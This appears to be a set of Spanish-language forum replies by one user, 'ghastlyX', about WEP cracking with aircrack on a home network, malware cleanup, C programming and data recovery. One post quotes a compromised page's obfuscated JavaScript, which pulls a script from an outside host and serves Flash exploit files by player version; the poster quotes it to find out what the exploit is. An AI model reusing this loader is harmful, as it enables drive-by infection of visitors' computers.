Lo he dicho:

Un saludo de ghastlyX

Al final lo he conseguido arreglar yo mismo, he actualizado la suite aircrack y los drivers y no me ha dado problemas.

Un saludo de ghastlyX

Mi problema es que estoy probando con la red de mi casa y no hace más que darme dolores de cabeza. Tengo una Orinoco con chipset Atheros, le instalé el madwifi y después los parches de inyección. El caso es que pongo mi red inalámbrica con cifrado WEP para probar y cuando lanzo el A1 la mayoría de veces no funciona y cuando lo hace al poco se desconecta o simplemente no captura ningún ARP el A3.

Muchas gracias de antemano.

Un saludo de ghastlyX

IP spoofing? No creo que vaya por ahí la cosa...

Un saludo de ghastlyX

Bueno, el código de la página es este:

<script type="text/javascript" src="http://free.idcads.info/f/swfobject.js"></script>
<div id="flashcontent">111</div><div id="flashversion">222</div>
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('6 4=A.z.y();3(4[\'x\']==9){h.g(\'j\').i="";3(4[\'5\']==w){6 2=f e("./v.d","c","0.1","0.1","9","#b");2.a("8")}7 3(4[\'5\']==u){6 2=f e("./t.d","c","0.1","0.1","9","#b");2.a("8")}7 3(4[\'5\']==s){6 2=f e("./r.d","c","0.1","0.1","9","#b");2.a("8")}7 3(4[\'5\']==q){6 2=f e("./p.d","c","0.1","0.1","9","#b");2.a("8")}7 3(4[\'5\']==o){6 2=f e("./n.d","c","0.1","0.1","9","#b");2.a("8")}7 3(4[\'5\']==m){6 2=f e("./l.d","c","0.1","0.1","9","#b");2.a("8")}7 3(4[\'5\']>=k){3(h.g){h.g(\'j\').i=""}}}',37,37,'||so|if|version|rev|var|else|flashcontent||write|000000|mymovie|swf|SWFObject|new|getElementById|document|innerHTML|flashversion|124|i16|16|i28|28|i45|45|i47|47|i64|64|i115|115|major|getPlayerVersion|SWFObjectUtil|deconcept'.split('|'),0,{}))</script>

Voy a mirar un poco que es exactamente ese exploit.

Un saludo de ghastlyX

A ver, si los moderadores tenían apagados sus PCs cuando estaban en tu casa podemos descartar que fuera cosa de ellos.

Luego, no entiendo mucho de foros y bases de datos porque nunca he trasteado el tema, pero si como administrador puedes modificar el log de sucesos donde viste lo de que era la misma IP, si estás infectado alguien si que ha podido robarte la contraseña, hacer lo que le plazca y modificar luego ese log

Un saludo de ghastlyX

Descargas el HijackThis, generas un log y lo pegas aquí. Si con Spybot ya has borrado todo lo que te detecta ya puedes cerrarlo.

Un saludo de ghastlyX

Del log del HijackThis no elimines nada, pégalo aquí simplemente.

Un saludo de ghastlyX

Hombre, pues lo más normal es que o lo borró alguien desde su casa o alguien tiene infectados sus ordenadores.

Un saludo de ghastlyX

Como ya se ha dicho unas cuantas veces, no hay que usar fflush con stdin, su comportamiento no está definido.

Un saludo de ghastlyX

Pues mira en virustotal sale esto:
http://www.virustotal.com/es/analisis/fef22fb9cae4a124a9c922c626cbe0b4

Como ves, lo detectan como el Panther, lo que es... dinos como dice T0rete el antivirus y el diagnóstico que da...

Un saludo de ghastlyX

Pues dinos que te descargabas y lo comprobamos. Otras herramientas de hacking también son detectadas por antivirus por ser precisamente eso, herramientas de hacking.

Un saludo de ghastlyX

Si es que ya no saben que sacar para ganar dinero...

Yo desde luego me niego a comprar un antivirus que viene con esa caja xDDD


Y aún menos, ponerlo en un ordenador así xDDD


Bueno, ahora en serio, tocará echarle un vistazo cuando salga...

Un saludo de ghastlyX

Ninguno de los troyanos te infecta, lo que pasa es que tu antivirus los detecta como infección porque efectivamente, son troyanos.

Mientras no ejecutes el servidor, no estás infectado. De hecho, según el antivirus y su configuración, si te bajas el código de algún malware en formato txt, te saldrá la advertencia y hasta ahora nadie se ha infectado por un archivo de texto.

Un saludo de ghastlyX

A ver, vayamos por partes. Cuando tú borras un archivo, realmente no lo estás borrando, simplemente se considera disponible ese espacio que ocupaba para cuando sea necesario. Cuando formateas, la cosa cambia. Hay diferentes tipos de formateo, en los que puede que se sobreescriba todo el disco duro o que no se haga esto.

Si has formateado y quieres recuperar archivos, la forma de tener más posibilidades es sin instalar nada utilizar el Hiren's Boot CD, utilizando alguna de sus herramientas de recuperación de datos. Si ni siquiera así consigues acceder a los archivos, la única salida sería acudir a una empresa de recuperación de datos, pero no son servicios baratos, claro está.

Un saludo de ghastlyX